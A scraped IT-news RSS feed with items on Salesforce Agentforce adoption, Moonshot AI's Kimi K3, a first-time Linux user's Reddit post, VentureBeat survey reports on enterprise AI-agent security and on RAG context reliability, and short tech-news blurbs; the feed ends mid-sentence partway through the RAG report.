<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Moonshot AI Set To Narrow Anthropic Performance Gap]]></title>
<description><![CDATA[Beijing-based start-up reportedly plans Kimi K3 release in coming days, with open model set to surpass performance of Anthropic’s Opus 4.8 This article has been indexed from Silicon UK Read the original article: China’s Moonshot AI Set To Narrow Anthropic…
Read more →
The post China’s Moonshot AI...]]></description>
<link>https://tsecurity.de/de/3675234/it-security-nachrichten/chinas-moonshot-ai-set-to-narrow-anthropic-performance-gap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675234/it-security-nachrichten/chinas-moonshot-ai-set-to-narrow-anthropic-performance-gap/</guid>
<pubDate>Fri, 17 Jul 2026 08:38:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Beijing-based start-up reportedly plans Kimi K3 release in coming days, with open model set to surpass performance of Anthropic’s Opus 4.8 This article has been indexed from Silicon UK Read the original article: China’s Moonshot AI Set To Narrow Anthropic…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chinas-moonshot-ai-set-to-narrow-anthropic-performance-gap/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chinas-moonshot-ai-set-to-narrow-anthropic-performance-gap/">China’s Moonshot AI Set To Narrow Anthropic Performance Gap</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thoughts From a First-Time Linux User]]></title>
<description><![CDATA[Sorry for the long read I was just kicking tires and wanted to write this. I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it. I have an AS...]]></description>
<link>https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Sorry for the long read I was just kicking tires and wanted to write this.</p> <p>I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it.</p> <p>I have an ASUS Rog Zephyrus G16 laptop. It has a Intel Core 9, RTX 4070M, and 16GB RAM.</p> <p>I played games as a kid, but when I went to university I bought a slug so I was not tempted to play games all day. That laptop carried me until senior year when I got a gaming laptop because I needed better hardware to run Unity and Android Studio.</p> <p>And <em>hooooooly shit</em> I would rather walk 40 days and 40 nights in the desert than use Windows 11 anymore.</p> <p>The ram usage is insane. From my previous experience gaming in my teens I figured 16 gigabytes of ram would be sufficient, but now it's like Palantir is running army drone simulations on it. The worst part is some of the basic software shoves the Windows Store down your throat. I couldn't even install Python without Bill Gates personally coming to my house to ask me if I had the proper security clearances and a Windows account. As a hail mary I installed Ubuntu.</p> <p><strong>Some pros:</strong></p> <p>Installing applications took some getting used to. I really am terminal-averse, but after practicing some installations I really found it quite easy. It really is nice to not have to go to multiple websites to download Steam or Discord.</p> <p>It runs fast and it runs cool. My laptop runs <em>ten degrees cooler</em> than it does on Windows 11. I have no clue why. It runs all of the same applications as Windows but with less usage, less ram, and at lower temperatures.</p> <p>I can configure anything. If I don't like my UI, or something is broken, I can fix it. I really don't think my switch would have been as smooth if it had not been for having a Claude subscription. I really think it helped with the out of box setup. For example, I had this super obscure bug where the brightness controller was not working. My specific machine would not respond to the existing brightness dial, so I had Claude take a look and it wrote a prefix into <em>initramfs</em> to select the correct driver for my HDR display. That would have taken me weeks to solve, especially because there were zero internet resources for it.</p> <p><strong>Some cons:</strong></p> <p>I hate to say it, but I really dislike certain Linux communities. A handful of them seem to believe that the harder a software is to use, the more genius it makes them. It drives me up a wall. If it doesn't have to be complicated, then it shouldn't be complicated! When it comes to getting help, the first primitive reflex some Linux users seem to have is to tell me to switch distros, and I totally hate it. If my problem is so bad that I literally have to switch entire operating systems to solve it, then I am better off getting a Mac. People wonder why nobody uses Linux, and I really think this is the crux of it. The people that should be your advocates have left the room. (Except for you, Reader. You're awesome! 😄).</p> <p>Some things could be easier. Windows allows people to just download an installer and run it with full GUI. Now that I'm intermediately seasoned on Linux, I don't really need installs to be that easy, but if I was someone starting from zero it would be nice to have some modern flow to installations and removals of software like Windows has. Now fortunately, many distros have a Software Center you can use, it's just that those are limited to major softwares.</p> <p>I can configure anything until it's broken. When I started using Ubuntu, I was setting up a KVM to run some games that were Windows-only compatible, and I bricked the entire OS a couple of times. I really don't think that this should change, but if I were giving advice to someone who just installed Linux I would definitely remind them to have their own thumb drive at all times haha.</p> <p>As Linux users, what are your thoughts on the OS? Is there anything that you think Linux does better than Windows? Anything you'd like to change?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TheWinningHit"> /u/TheWinningHit </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Taming Email Overload: Avec Makes iPhone Email Triage Almost Fun]]></title>
<description><![CDATA[Tired of clunky email triage on your iPhone? Avec’s swipe-based interface lets you quickly sort important messages from noise, using AI to prioritize what matters. It’s Gmail-only and iPhone-only for now, but IMAP support is promised and a desktop version is coming.]]></description>
<link>https://tsecurity.de/de/3674488/ios-mac-os/taming-email-overload-avec-makes-iphone-email-triage-almost-fun/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674488/ios-mac-os/taming-email-overload-avec-makes-iphone-email-triage-almost-fun/</guid>
<pubDate>Thu, 16 Jul 2026 21:24:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tired of clunky email triage on your iPhone? Avec’s swipe-based interface lets you quickly sort important messages from noise, using AI to prioritize what matters. It’s Gmail-only and iPhone-only for now, but IMAP support is promised and a desktop version is coming.<p><a href="https://tidbits.com/2016/02/12/os-x-hidden-treasures-quick-look/"><picture><source srcset="https://tidbits.com/uploads/2018/05/TB-Quick-Look-ad-640x200.png" media="(max-width: 600px)" type="image/png"><img src="https://tidbits.com/uploads/2018/05/TB-Quick-Look-ad-1456x180.png" srcset="https://tidbits.com/uploads/2018/05/TB-Quick-Look-ad-1456x180.png 1456w, https://tidbits.com/uploads/2018/05/TB-Quick-Look-ad-1456x180-640x79.png 640w" alt="macOS Hidden Treasures: Quick Look"></picture></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Renames NotebookLM to Gemini Notebook]]></title>
<description><![CDATA[Google is renaming NotebookLM to Gemini Notebook, but will keep it a standalone app even as it ties more closely into Gemini and Google Search. "Google says it plans to bring notebooks to AI Mode, its chatbot-like experience in Search, too," reports The Verge. From the report: Along with the name...]]></description>
<link>https://tsecurity.de/de/3674398/it-security-nachrichten/google-renames-notebooklm-to-gemini-notebook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674398/it-security-nachrichten/google-renames-notebooklm-to-gemini-notebook/</guid>
<pubDate>Thu, 16 Jul 2026 20:38:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google is renaming NotebookLM to Gemini Notebook, but will keep it a standalone app even as it ties more closely into Gemini and Google Search. "Google says it plans to bring notebooks to AI Mode, its chatbot-like experience in Search, too," reports The Verge. From the report: Along with the name change, Google is rolling out an update announced last month that allows Gemini Notebook to connect to a secure cloud computer to write and execute code. This feature is available to Google AI Ultra and Workspace business customers, but will come to Pro users on the web "over the coming weeks."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Renames+NotebookLM+to+Gemini+Notebook%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F16%2F1812259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F16%2F1812259%2Fgoogle-renames-notebooklm-to-gemini-notebook%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/16/1812259/google-renames-notebooklm-to-gemini-notebook?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a 